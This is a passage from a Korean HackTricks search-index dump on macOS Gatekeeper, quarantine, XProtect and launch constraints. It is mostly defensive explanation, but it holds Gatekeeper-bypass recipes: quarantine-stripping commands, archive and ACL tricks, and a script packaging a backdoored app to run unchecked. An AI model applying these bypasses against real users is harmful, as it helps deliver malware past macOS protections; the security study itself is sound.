qtn_proc_init_with_self(qtn_proc_t);\\nint qtn_proc_set_flags(qtn_proc_t, uint32_t flags);\\nqtn_proc_t qtn_proc_alloc();\\nvoid qtn_proc_free(qtn_proc_t);\\nqtn_file_t qtn_file_alloc(void);\\nvoid qtn_file_free(qtn_file_t qf);\\nint qtn_file_set_flags(qtn_file_t qf, uint32_t flags);\\nuint32_t qtn_file_get_flags(qtn_file_t qf);\\nint qtn_file_apply_to_path(qtn_file_t qf, const char *path);\\nint qtn_file_init_with_path(qtn_file_t qf, const char *path);\\nint qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid); int main() { qtn_proc_t qp = qtn_proc_alloc();\\nqtn_proc_set_identifier(qp, \\"xyz.hacktricks.qa\\");\\nqtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);\\nqtn_proc_apply_to_self(qp);\\nqtn_proc_free(qp); FILE *fp;\\nfp = fopen(\\"thisisquarantined.txt\\", \\"w+\\");\\nfprintf(fp, \\"Hello Quarantine\\\\n\\");\\nfclose(fp); return 0; } 그리고 해당 속성을 제거하려면: bash xattr -d com.apple.quarantine portada.png\\n#You can also remove this attribute from every file with\\nfind . -iname \'*\' -print0 | xargs -0 xattr -d com.apple.quarantine 다음 명령어를 사용하여 모든 격리된 파일을 찾습니다: bash find / -exec ls -ld {} \\\\; 2>/dev/null | grep -E \\"[x\\\\-]@ \\" | awk \'{printf $9; printf \\"\\\\n\\"}\' | xargs -I {} xattr -lv {} | grep \\"com.apple.quarantine\\" Quarantine 정보는 **~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2**에 의해 관리되는 중앙 데이터베이스에 저장되어 GUI가 파일 출처에 대한 데이터를 얻을 수 있도록 합니다. 또한, 이는 출처를 숨기려는 애플리케이션에 의해 덮어쓸 수 있습니다. 이는 LaunchServices API를 통해 수행될 수 있습니다. libquarantine.dylib 이 라이브러리는 확장 속성 필드를 조작할 수 있는 여러 함수를 내보냅니다. qtn_file_* API는 파일 격리 정책을 다루고, qtn_proc_* API는 프로세스(프로세스에 의해 생성된 파일)에 적용됩니다. 내보내지 않은 __qtn_syscall_quarantine* 함수는 정책을 적용하는 함수로, \\"Quarantine\\"을 첫 번째 인수로 하여 mac_syscall을 호출하여 요청을 Quarantine.kext로 보냅니다. Quarantine.kext 커널 확장은 시스템의 커널 캐시 를 통해서만 사용할 수 있습니다. 그러나 Kernel Debug Kit를 https://developer.apple.com/ 에서 다운로드할 수 있으며, 이 키트는 확장의 기호화된 버전을 포함합니다. 이 Kext는 MACF를 통해 여러 호출을 후킹하여 모든 파일 생애 주기 이벤트를 가로챕니다: 생성, 열기, 이름 바꾸기, 하드 링크... 심지어 setxattr를 사용하여 com.apple.quarantine 확장 속성을 설정하지 못하도록 합니다. 또한 몇 가지 MIB를 사용합니다: security.mac.qtn.sandbox_enforce: Sandbox와 함께 격리를 시행 security.mac.qtn.user_approved_exec: 격리된 프로세스는 승인된 파일만 실행할 수 있음 Provenance xattr (Ventura 및 이후) macOS 13 Ventura는 격리된 앱이 처음 실행될 때 채워지는 별도의 출처 메커니즘을 도입했습니다. 두 개의 아티팩트가 생성됩니다: .app 번들 디렉토리의 com.apple.provenance xattr (기본 키와 플래그를 포함하는 고정 크기 이진 값). 앱의 cdhash와 메타데이터를 저장하는 /var/db/SystemPolicyConfiguration/ExecPolicy/ 내의 ExecPolicy 데이터베이스의 provenance_tracking 테이블에 행이 생성됩니다. 실용적인 사용: bash # Inspect provenance xattr (if present)\\nxattr -p com.apple.provenance /Applications/Some.app | hexdump -C # Observe Gatekeeper/provenance events in real time\\nlog stream --style syslog --predicate \'process == \\"syspolicyd\\"\' # Retrieve historical Gatekeeper decisions for a specific bundle\\nlog show --last 2d --style syslog --predicate \'process == \\"syspolicyd\\" && eventMessage CONTAINS[cd] \\"GK scan\\"\'","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » Quarantine Files","id":"2553","title":"Quarantine Files"},"2554":{"body":"XProtect는 macOS에 내장된 안티-멀웨어 기능입니다. XProtect는 응용 프로그램이 처음 실행되거나 수정될 때 알려진 멀웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 검사합니다 . Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스에 있는 알려진 멀웨어와 일치하는 경우, XProtect는 파일 실행을 차단하고 위협에 대해 경고합니다. XProtect 데이터베이스는 정기적으로 Apple에 의해 새로운 멀웨어 정의로 업데이트되며, 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect는 항상 최신 알려진 위협에 대해 최신 상태를 유지합니다. 그러나 XProtect는 전체 기능을 갖춘 안티바이러스 솔루션이 아닙니다 . 특정 알려진 위협 목록만 검사하며, 대부분의 안티바이러스 소프트웨어처럼 접근 시 스캔을 수행하지 않습니다. 최신 XProtect 업데이트에 대한 정보를 얻으려면: bash system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 \\"XProtectPlistConfigData\\" | tail -n 5 XProtect는 /Library/Apple/System/Library/CoreServices/XProtect.bundle 에 위치한 SIP 보호 위치에 있으며, 번들 내부에서 XProtect가 사용하는 정보를 찾을 수 있습니다: XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist : 해당 cdhashes를 가진 코드가 레거시 권한을 사용할 수 있도록 허용합니다. XProtect.bundle/Contents/Resources/XProtect.meta.plist : BundleID 및 TeamID를 통해 로드가 금지된 플러그인 및 확장 목록 또는 최소 버전을 나타냅니다. XProtect.bundle/Contents/Resources/XProtect.yara : 맬웨어를 탐지하기 위한 Yara 규칙입니다. XProtect.bundle/Contents/Resources/gk.db : 차단된 애플리케이션 및 TeamID의 해시가 포함된 SQLite3 데이터베이스입니다. **/Library/Apple/System/Library/CoreServices/XProtect.app**에는 Gatekeeper 프로세스와 관련이 없는 XProtect와 관련된 또 다른 앱이 있습니다. XProtect Remediator: 최신 macOS에서는 Apple이 주기적으로 실행되는 온디맨드 스캐너(XProtect Remediator)를 제공하여 맬웨어 계열을 탐지하고 수정합니다. 이러한 스캔은 통합 로그에서 확인할 수 있습니다: log show --last 2h --predicate \'subsystem == \\"com.apple.XProtectFramework\\" || category CONTAINS \\"XProtect\\"\' --style syslog","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » XProtect","id":"2554","title":"XProtect"},"2555":{"body":"caution Gatekeeper는 애플리케이션을 실행할 때마다 실행되지 않습니다 . 오직 AppleMobileFileIntegrity (AMFI)만이 Gatekeeper에 의해 이미 실행되고 검증된 앱을 실행할 때 실행 가능한 코드 서명 을 확인합니다. 따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 후 애플리케이션의 비실행 파일 (예: Electron asar 또는 NIB 파일)을 수정하고, 다른 보호 장치가 없으면 애플리케이션이 악성 추가 사항과 함께 실행되었습니다 . 하지만 이제 macOS는 애플리케이션 번들 내의 파일을 수정하는 것을 방지 하므로, Dirty NIB 공격을 시도하면 더 이상 이를 악용할 수 없음을 알게 될 것입니다. Gatekeeper로 캐시하기 위해 앱을 실행한 후 번들을 수정할 수 없기 때문입니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고(악용에서 지시된 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » Not Gatekeeper","id":"2555","title":"Not Gatekeeper"},"2556":{"body":"Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 Gatekeeper가 이를 허용하지 않아야 할 때 실행하도록 만드는 것)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회할 수 있게 해준 기술에 할당된 CVE는 다음과 같습니다:","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » Gatekeeper Bypasses","id":"2556","title":"Gatekeeper Bypasses"},"2557":{"body":"Archive Utility 를 사용하여 추출할 경우, 경로가 886자를 초과하는 파일은 com.apple.quarantine 확장 속성을 받지 않는 것으로 관찰되었습니다. 이 상황은 의도치 않게 해당 파일이 Gatekeeper의 보안 검사를 우회 할 수 있게 합니다. 자세한 내용은 원본 보고서 를 확인하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » CVE-2021-1810","id":"2557","title":"CVE-2021-1810"},"2558":{"body":"Automator 로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 application.app/Contents/document.wflow에 있으며 실행 파일에는 없습니다. 실행 파일은 Automator Application Stub 이라는 일반적인 Automator 바이너리일 뿐입니다. 따라서 application.app/Contents/MacOS/Automator\\\\ Application\\\\ Stub이 시스템 내의 다른 Automator Application Stub을 가리키는 심볼릭 링크로 설정 할 수 있으며, 그러면 document.wflow(당신의 스크립트) 내부의 내용을 Gatekeeper를 트리거하지 않고 실행 합니다. 예상 위치: /System/Library/CoreServices/Automator\\\\ Application\\\\ Stub.app/Contents/MacOS/Automator\\\\ Application\\\\ Stub 자세한 내용은 원본 보고서 를 확인하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » CVE-2021-30990","id":"2558","title":"CVE-2021-30990"},"2559":{"body":"이 우회에서는 애플리케이션이 application.app가 아닌 application.app/Contents에서 압축을 시작하도록 zip 파일이 생성되었습니다. 따라서 quarantine attr 는 application.app/Contents의 모든 파일에 적용되었지만 application.app에는 적용되지 않았습니다. Gatekeeper가 확인하는 것은 application.app이었기 때문에, application.app이 트리거될 때 quarantine 속성이 없었습니다. bash zip -r test.app/Contents test.zip Check the original report for more information.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » CVE-2022-22616","id":"2559","title":"CVE-2022-22616"},"256":{"body":"DTLS 서버 구성: 브라우저가 DTLS 서버로 작동하거나 미디어 서버가 미디어 세션에 대해 임시 포트를 사용하지 않는 경우는 이 취약점에 영향을 받지 않습니다.","breadcrumbs":"Pentesting Network » WebRTC DoS » 비취약 시나리오","id":"256","title":"비취약 시나리오"},"2560":{"body":"구성 요소가 다르더라도 이 취약점의 악용은 이전 것과 매우 유사합니다. 이 경우 **application.app/Contents**에서 Apple Archive를 생성하여 **application.app**이 Archive Utility 에 의해 압축 해제될 때 격리 속성을 받지 않도록 합니다. bash aa archive -d test.app/Contents -o test.app.aar Check the original report for more information.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » CVE-2022-32910","id":"2560","title":"CVE-2022-32910"},"2561":{"body":"ACL **writeextattr**는 파일에 속성을 쓰는 것을 방지하는 데 사용할 수 있습니다: bash touch /tmp/no-attr\\nchmod +a \\"everyone deny writeextattr\\" /tmp/no-attr\\nxattr -w attrname vale /tmp/no-attr\\nxattr: [Errno 13] Permission denied: \'/tmp/no-attr\' 또한, AppleDouble 파일 형식은 ACE를 포함하여 파일을 복사합니다. 소스 코드 에서 **com.apple.acl.text**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 AppleDouble 파일 형식으로 zip 파일에 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다: bash chmod +a \\"everyone deny write,writeattr,writeextattr\\" /tmp/test\\nditto -c -k test test.zip\\npython3 -m http.server\\n# Download the zip from the browser and decompress it, the file should be without a quarantine xattr 원본 보고서 에서 더 많은 정보를 확인하세요. 이것은 AppleArchives로도 악용될 수 있습니다: bash mkdir app\\ntouch app/test\\nchmod +a \\"everyone deny write,writeattr,writeextattr\\" app/test\\naa archive -d app -o test.aar","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » CVE-2022-42821","id":"2561","title":"CVE-2022-42821"},"2562":{"body":"구글 크롬이 다운로드된 파일에 격리 속성을 설정하지 않는 문제가 macOS 내부 문제로 발견되었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » CVE-2023-27943","id":"2562","title":"CVE-2023-27943"},"2563":{"body":"AppleDouble 파일 형식은 ._로 시작하는 별도의 파일에 파일의 속성을 저장하여 macOS 기기 간에 파일 속성을 복사하는 데 도움을 줍니다. 그러나 AppleDouble 파일을 압축 해제한 후 ._로 시작하는 파일에 격리 속성이 부여되지 않는 문제가 발견되었습니다. bash mkdir test\\necho a > test/a\\necho b > test/b\\necho ._a > test/._a\\naa archive -d test/ -o test.aar # If you downloaded the resulting test.aar and decompress it, the file test/._a won\'t have a quarantitne attribute 파일을 생성할 수 있는 경우 Gatekeeper를 우회할 수 있었습니다. 이 요령은 AppleDouble 이름 규칙 을 사용하여 DMG 파일 애플리케이션 을 생성하고, 이 숨겨진 파일에 대한 심볼릭 링크로 보이는 파일을 생성하는 것이었습니다. dmg 파일이 실행될 때 , 쿼런틴 속성이 없기 때문에 Gatekeeper를 우회하게 됩니다. bash # Create an app bundle with the backdoor an call it app.app echo \\"[+] creating disk image with app\\"\\nhdiutil create -srcfolder app.app app.dmg echo \\"[+] creating directory and files\\"\\nmkdir\\nmkdir -p s/app\\ncp app.dmg s/app/._app.dmg\\nln -s ._app.dmg s/app/app.dmg echo \\"[+] compressing files\\"\\naa archive -d s/ -o app.aar","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » CVE-2023-27951","id":"2563","title":"CVE-2023-27951"},"2564":{"body":"macOS Sonoma 14.0에서 수정된 Gatekeeper 우회는 조작된 앱이 프롬프트 없이 실행될 수 있도록 허용했습니다. 패치 후 공개적으로 세부 정보가 공개되었으며, 수정되기 전에 이 문제가 실제로 악용되었습니다. Sonoma 14.0 이상이 설치되어 있는지 확인하십시오.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » [CVE-2023-41067]","id":"2564","title":"[CVE-2023-41067]"},"2565":{"body":"macOS 14.4(2024년 3월 출시)에서 libarchive가 악성 ZIP을 처리하는 과정에서 발생한 Gatekeeper 우회는 앱이 평가를 피할 수 있도록 했습니다. Apple이 문제를 해결한 14.4 이상으로 업데이트하십시오.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » [CVE-2024-27853]","id":"2565","title":"[CVE-2024-27853]"},"2566":{"body":"인기 있는 추출 도구(예: The Unarchiver)에서 여러 취약점으로 인해 아카이브에서 추출된 파일이 com.apple.quarantine xattr를 놓쳐 Gatekeeper 우회 기회를 제공했습니다. 테스트할 때는 항상 macOS Archive Utility 또는 패치된 도구를 사용하고, 추출 후 xattrs를 검증하십시오.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » 제3자 압축 해제 도구의 격리 전파 오류 (2023–2024)","id":"2566","title":"제3자 압축 해제 도구의 격리 전파 오류 (2023–2024)"},"2567":{"body":"앱을 포함하는 디렉토리를 생성합니다. 앱에 uchg를 추가합니다. 앱을 tar.gz 파일로 압축합니다. tar.gz 파일을 피해자에게 보냅니다. 피해자가 tar.gz 파일을 열고 앱을 실행합니다. Gatekeeper는 앱을 확인하지 않습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » uchg (이 강연 에서)","id":"2567","title":"uchg (이 강연 에서)"},"2568":{"body":"\\".app\\" 번들에서 격리 xattr가 추가되지 않으면, 실행할 때 Gatekeeper가 트리거되지 않습니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » 격리 xattr 방지","id":"2568","title":"격리 xattr 방지"},"2569":{"body":"Apple Platform Security: About the security content of macOS Sonoma 14.4 (includes CVE-2024-27853) – https://support.apple.com/en-us/HT214084 Eclectic Light: How macOS now tracks the provenance of apps – https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Gatekeeper / Quarantine / XProtect » References","id":"2569","title":"References"},"257":{"body":"이 취약점은 미디어 세션 초기화 프로세스의 미세한 균형과 악용을 방지하기 위한 정확한 타이밍 및 검증 메커니즘의 필요성을 강조합니다. 개발자는 권장 보안 수정을 구현하고 이러한 취약점을 완화하기 위해 강력한 검증 프로세스를 보장할 것을 권장합니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » WebRTC DoS » 결론","id":"257","title":"결론"},"2570":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » macOS Launch/Environment Constraints & Trust Cache","id":"2570","title":"macOS Launch/Environment Constraints & Trust Cache"},"2571":{"body":"macOS의 런치 제약 조건은 프로세스가 어떻게, 누구에 의해, 어디서 시작될 수 있는지를 규제 하여 보안을 강화하기 위해 도입되었습니다. macOS Ventura에서 시작된 이들은 각 시스템 바이너리를 별개의 제약 범주로 분류하는 프레임워크 를 제공합니다. 이 범주는 신뢰 캐시 내에 정의되어 있으며, 시스템 바이너리와 해당 해시 목록을 포함합니다. 이러한 제약은 시스템 내의 모든 실행 가능한 바이너리에 적용되며, 특정 바이너리를 실행하기 위한 요구 사항을 설명하는 규칙 세트를 포함합니다. 규칙은 바이너리가 충족해야 하는 자기 제약, 부모 프로세스가 충족해야 하는 부모 제약, 그리고 다른 관련 엔티티가 준수해야 하는 책임 제약을 포함합니다. 이 메커니즘은 macOS Sonoma부터 환경 제약 을 통해 서드파티 앱으로 확장되어, 개발자가 환경 제약을 위한 키와 값의 세트를 지정하여 앱을 보호할 수 있도록 합니다. 런치 환경 및 라이브러리 제약 은 launchd 속성 목록 파일 에 저장하거나 코드 서명에 사용하는 별도의 속성 목록 파일에 정의합니다. 제약의 종류는 4가지입니다: 자기 제약 : 실행 중인 바이너리에 적용되는 제약. 부모 프로세스 : 프로세스의 부모 에 적용되는 제약 (예: **launchd**가 XP 서비스를 실행하는 경우) 책임 제약 : XPC 통신에서 서비스를 호출하는 프로세스 에 적용되는 제약 라이브러리 로드 제약 : 로드할 수 있는 코드를 선택적으로 설명하기 위해 라이브러리 로드 제약을 사용합니다. 따라서 프로세스가 다른 프로세스를 시작하려고 할 때 — execve(_:_:_:) 또는 posix_spawn(_:_:_:_:_:_:)를 호출하여 — 운영 체제는 실행 파일 이 자기 제약 을 충족하는지 확인합니다. 또한 부모 프로세스 의 실행 파일이 실행 파일의 부모 제약 을 충족하는지 확인하고, 책임 프로세스 의 실행 파일이 실행 파일의 책임 프로세스 제약을 충족하는지 확인합니다. 이러한 런치 제약 중 하나라도 충족되지 않으면 운영 체제는 프로그램을 실행하지 않습니다. 라이브러리를 로드할 때 라이브러리 제약 의 일부가 참이 아닐 경우 , 프로세스는 라이브러리를 로드하지 않습니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » Basic Information","id":"2571","title":"Basic Information"},"2572":{"body":"LC는 사실 과 논리 연산 (and, or..)으로 구성되어 사실을 결합합니다. LC가 사용할 수 있는 사실은 문서화되어 있습니다 . 예를 들어: is-init-proc: 실행 파일이 운영 체제의 초기화 프로세스(launchd)여야 하는지를 나타내는 부울 값. is-sip-protected: 실행 파일이 시스템 무결성 보호(SIP)로 보호된 파일이어야 하는지를 나타내는 부울 값. on-authorized-authapfs-volume: 운영 체제가 인증된 APFS 볼륨에서 실행 파일을 로드했는지를 나타내는 부울 값. on-authorized-authapfs-volume: 운영 체제가 인증된 APFS 볼륨에서 실행 파일을 로드했는지를 나타내는 부울 값. Cryptexes 볼륨 on-system-volume: 운영 체제가 현재 부팅된 시스템 볼륨에서 실행 파일을 로드했는지를 나타내는 부울 값. /System 내부... ... Apple 바이너리가 서명되면 신뢰 캐시 내의 LC 범주 에 할당됩니다. iOS 16 LC 범주 는 여기에서 역으로 문서화되었습니다 . 현재 **LC 범주 (macOS 14 - Sonoma)**는 역으로 문서화되었으며 그 설명은 여기에서 찾을 수 있습니다 . 예를 들어 범주 1은: Category 1:\\nSelf Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1\\nParent Constraint: is-init-proc (on-authorized-authapfs-volume || on-system-volume): 시스템 또는 Cryptexes 볼륨에 있어야 합니다. launch-type == 1: 시스템 서비스여야 합니다 (LaunchDaemons의 plist). validation-category == 1: 운영 체제 실행 파일입니다. is-init-proc: Launchd","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » LC Categories","id":"2572","title":"LC Categories"},"2573":{"body":"여기에 대한 더 많은 정보는 여기에서 확인할 수 있지만, 기본적으로 **AMFI (AppleMobileFileIntegrity)**에서 정의됩니다. 따라서 KEXT 를 얻기 위해 Kernel Development Kit을 다운로드해야 합니다. **kConstraintCategory**로 시작하는 기호가 흥미로운 기호입니다. 이들을 추출하면 DER (ASN.1) 인코딩 스트림을 얻을 수 있으며, 이를 ASN.1 Decoder 또는 python-asn1 라이브러리와 그 dump.py 스크립트를 사용하여 디코드해야 합니다. andrivet/python-asn1 로 더 이해하기 쉬운 문자열을 얻을 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » LC 카테고리 리버싱","id":"2573","title":"LC 카테고리 리버싱"},"2574":{"body":"이들은 서드파티 애플리케이션 에서 설정된 Launch Constraints입니다. 개발자는 애플리케이션에서 접근을 제한하기 위해 사용할 사실 과 논리 연산자 를 선택할 수 있습니다. 애플리케이션의 환경 제약을 나열하는 것은 가능합니다: bash codesign -d -vvvv app.app","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » 환경 제약","id":"2574","title":"환경 제약"},"2575":{"body":"macOS 에는 몇 가지 신뢰 캐시가 있습니다: /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4 /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4 /System/Library/Security/OSLaunchPolicyData iOS에서는 **/usr/standalone/firmware/FUD/StaticTrustCache.img4**에 있는 것 같습니다. warning Apple Silicon 장치에서 실행되는 macOS에서 Apple 서명 이진 파일이 신뢰 캐시에 없으면 AMFI가 이를 로드하는 것을 거부합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » 신뢰 캐시","id":"2575","title":"신뢰 캐시"},"2576":{"body":"이전 신뢰 캐시 파일은 IMG4 및 IM4P 형식이며, IM4P는 IMG4 형식의 페이로드 섹션입니다. 데이터베이스의 페이로드를 추출하려면 pyimg4 를 사용할 수 있습니다: bash # Installation\\npython3 -m pip install pyimg4 # Extract payloads data\\ncp /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4 /tmp\\npyimg4 img4 extract -i /tmp/BaseSystemTrustCache.img4 -p /tmp/BaseSystemTrustCache.im4p\\npyimg4 im4p extract -i /tmp/BaseSystemTrustCache.im4p -o /tmp/BaseSystemTrustCache.data cp /System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4 /tmp\\npyimg4 img4 extract -i /tmp/StaticTrustCache.img4 -p /tmp/StaticTrustCache.im4p\\npyimg4 im4p extract -i /tmp/StaticTrustCache.im4p -o /tmp/StaticTrustCache.data pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLaunchPolicyData.data (또 다른 옵션은 도구 img4tool 를 사용하는 것입니다. 이 도구는 릴리스가 오래되었더라도 M1에서 실행되며, 적절한 위치에 설치하면 x86_64에서도 실행됩니다). 이제 도구 trustcache 를 사용하여 읽기 쉬운 형식으로 정보를 얻을 수 있습니다: bash # Install\\nwget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64\\nsudo mv ./trustcache_macos_arm64 /usr/local/bin/trustcache\\nxattr -rc /usr/local/bin/trustcache\\nchmod +x /usr/local/bin/trustcache # Run\\ntrustcache info /tmp/OSLaunchPolicyData.data | head\\ntrustcache info /tmp/StaticTrustCache.data | head\\ntrustcache info /tmp/BaseSystemTrustCache.data | head version = 2\\nuuid = 35EB5284-FD1E-4A5A-9EFB-4F79402BA6C0\\nentry count = 969\\n0065fc3204c9f0765049b82022e4aa5b44f3a9c8 [none] [2] [1]\\n00aab02b28f99a5da9b267910177c09a9bf488a2 [none] [2] [1]\\n0186a480beeee93050c6c4699520706729b63eff [none] [2] [2]\\n0191be4c08426793ff3658ee59138e70441fc98a [none] [2] [3]\\n01b57a71112235fc6241194058cea5c2c7be3eb1 [none] [2] [2]\\n01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]\\n020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3] 신뢰 캐시는 다음 구조를 따릅니다. 따라서 LC 카테고리는 4번째 열입니다. c struct trust_cache_entry2 {\\nuint8_t cdhash[CS_CDHASH_LEN];\\nuint8_t hash_type;\\nuint8_t flags;\\nuint8_t constraintCategory;\\nuint8_t reserved0;\\n} __attribute__((__packed__)); 그런 다음, 이 스크립트 와 같은 스크립트를 사용하여 데이터를 추출할 수 있습니다. 그 데이터에서 launch constraints 값이 0인 앱을 확인할 수 있으며, 이는 제약이 없는 앱입니다 ( 여기에서 확인 각 값이 무엇인지).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » 신뢰 캐시 열거","id":"2576","title":"신뢰 캐시 열거"},"2577":{"body":"Launch Constraints는 프로세스가 예상치 못한 조건에서 실행되지 않도록 보장함으로써 여러 오래된 공격을 완화했을 것입니다: 예를 들어 예상치 못한 위치에서 실행되거나 예상치 못한 부모 프로세스에 의해 호출되는 경우(launchd만이 이를 실행해야 하는 경우). 게다가, Launch Constraints는 다운그레이드 공격도 완화합니다. 그러나, 이들은 일반적인 XPC 남용, Electron 코드 주입 또는 dylib 주입 을 라이브러리 검증 없이 완화하지 않습니다(로드할 수 있는 팀 ID가 알려져 있지 않는 한).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » 공격 완화","id":"2577","title":"공격 완화"},"2578":{"body":"소노마 릴리스에서 주목할 점은 데몬 XPC 서비스의 책임 구성 입니다. XPC 서비스는 연결된 클라이언트가 책임지는 것이 아니라 스스로 책임을 집니다. 이는 피드백 보고서 FB13206884에 문서화되어 있습니다. 이 설정은 XPC 서비스와의 특정 상호작용을 허용하므로 결함이 있는 것처럼 보일 수 있습니다: XPC 서비스 시작 : 버그로 간주된다면, 이 설정은 공격자 코드로 XPC 서비스를 시작하는 것을 허용하지 않습니다. 활성 서비스에 연결 : XPC 서비스가 이미 실행 중인 경우(원래 애플리케이션에 의해 활성화되었을 가능성이 있음), 연결하는 데 장애물이 없습니다. XPC 서비스에 대한 제약을 구현하는 것은 잠재적 공격의 창을 좁힘으로써 유익할 수 있지만, 주요 문제를 해결하지는 않습니다. XPC 서비스의 보안을 보장하려면 연결 클라이언트를 효과적으로 검증하는 것 이 근본적으로 필요합니다. 이는 서비스의 보안을 강화하는 유일한 방법으로 남아 있습니다. 또한, 언급된 책임 구성은 현재 운영 중이며, 이는 의도된 설계와 일치하지 않을 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » XPC 데몬 보호","id":"2578","title":"XPC 데몬 보호"},"2579":{"body":"애플리케이션이 LaunchService에 의해 열려야 한다는 요구가 있더라도(부모 제약에서). 이는 **open**을 사용하여(env 변수를 설정할 수 있음) 또는 Launch Services API 를 사용하여(env 변수를 지정할 수 있음) 